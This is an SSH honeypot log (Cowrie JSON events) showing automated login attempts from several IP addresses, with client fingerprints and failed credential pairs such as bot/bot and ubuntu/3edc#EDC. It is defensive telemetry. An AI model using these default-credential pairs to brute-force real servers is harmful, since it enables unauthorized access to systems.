{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:05.342559Z","src_ip":"45.148.10.121","session":"e12269dad9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35608,"dst_ip":"159.203.135.109","dst_port":22,"session":"956d3b3ffb41","protocol":"ssh","message":"New connection: 2.57.122.208:35608 (159.203.135.109:22) [session: 956d3b3ffb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:10.214813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:10.258694Z","src_ip":"2.57.122.208","session":"956d3b3ffb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:10.358045Z","src_ip":"2.57.122.208","session":"956d3b3ffb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:10.791070Z","src_ip":"2.57.122.208","session":"956d3b3ffb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:11.934050Z","src_ip":"2.57.122.208","session":"956d3b3ffb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"66b3644313b6","protocol":"ssh","message":"New connection: 20.196.64.198:40630 (10.17.0.5:22) [session: 66b3644313b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:29.958636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:29.963036Z","src_ip":"20.196.64.198","session":"66b3644313b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:30.160134Z","src_ip":"20.196.64.198","session":"66b3644313b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:30.964624Z","src_ip":"20.196.64.198","session":"66b3644313b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:32.164201Z","src_ip":"20.196.64.198","session":"66b3644313b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47208,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b6c56410c7f","protocol":"ssh","message":"New connection: 2.57.122.208:47208 (10.17.0.5:22) [session: 0b6c56410c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:43.923611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:44.012969Z","src_ip":"2.57.122.208","session":"0b6c56410c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:44.152988Z","src_ip":"2.57.122.208","session":"0b6c56410c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:44.830677Z","src_ip":"2.57.122.208","session":"0b6c56410c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:46.117362Z","src_ip":"2.57.122.208","session":"0b6c56410c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":50406,"dst_ip":"159.203.135.109","dst_port":22,"session":"c198f590b7a7","protocol":"ssh","message":"New connection: 2.57.122.96:50406 (159.203.135.109:22) [session: c198f590b7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:33:09.566878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:33:09.571049Z","src_ip":"2.57.122.96","session":"c198f590b7a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:33:09.684333Z","src_ip":"2.57.122.96","session":"c198f590b7a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"3edc#EDC","message":"login attempt [ubuntu/3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:33:09.990532Z","src_ip":"2.57.122.96","session":"c198f590b7a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:33:11.091797Z","src_ip":"2.57.122.96","session":"c198f590b7a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57884,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c6bdfa6a342","protocol":"ssh","message":"New connection: 2.57.122.208:57884 (159.203.135.109:22) [session: 5c6bdfa6a342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:22.855694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:22.889668Z","src_ip":"2.57.122.208","session":"5c6bdfa6a342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:23.011968Z","src_ip":"2.57.122.208","session":"5c6bdfa6a342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:23.515479Z","src_ip":"2.57.122.208","session":"5c6bdfa6a342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:24.666151Z","src_ip":"2.57.122.208","session":"5c6bdfa6a342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":35250,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cd94c688f59","protocol":"ssh","message":"New connection: 142.93.139.168:35250 (159.203.135.109:22) [session: 7cd94c688f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:50.214950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:50.219462Z","src_ip":"142.93.139.168","session":"7cd94c688f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:50.296700Z","src_ip":"142.93.139.168","session":"7cd94c688f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ost","password":"ost2018!","message":"login attempt [ost/ost2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:50.452419Z","src_ip":"142.93.139.168","session":"7cd94c688f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:51.531790Z","src_ip":"142.93.139.168","session":"7cd94c688f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43520,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e277933fe39","protocol":"ssh","message":"New connection: 2.57.122.208:43520 (10.17.0.5:22) [session: 5e277933fe39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:57.267287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:57.335871Z","src_ip":"2.57.122.208","session":"5e277933fe39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:57.458561Z","src_ip":"2.57.122.208","session":"5e277933fe39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:57.892197Z","src_ip":"2.57.122.208","session":"5e277933fe39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:34:58.998350Z","src_ip":"2.57.122.208","session":"5e277933fe39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":35432,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2da145258dd","protocol":"ssh","message":"New connection: 42.200.78.78:35432 (10.17.0.5:22) [session: b2da145258dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:25.865994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:25.871334Z","src_ip":"42.200.78.78","session":"b2da145258dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:26.089174Z","src_ip":"42.200.78.78","session":"b2da145258dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"12345678","message":"login attempt [alfred/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:26.991060Z","src_ip":"42.200.78.78","session":"b2da145258dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:28.210814Z","src_ip":"42.200.78.78","session":"b2da145258dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":49378,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6101589a10e","protocol":"ssh","message":"New connection: 135.181.101.111:49378 (159.203.135.109:22) [session: b6101589a10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:28.967545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:28.972003Z","src_ip":"135.181.101.111","session":"b6101589a10e","protocol":"ssh"}
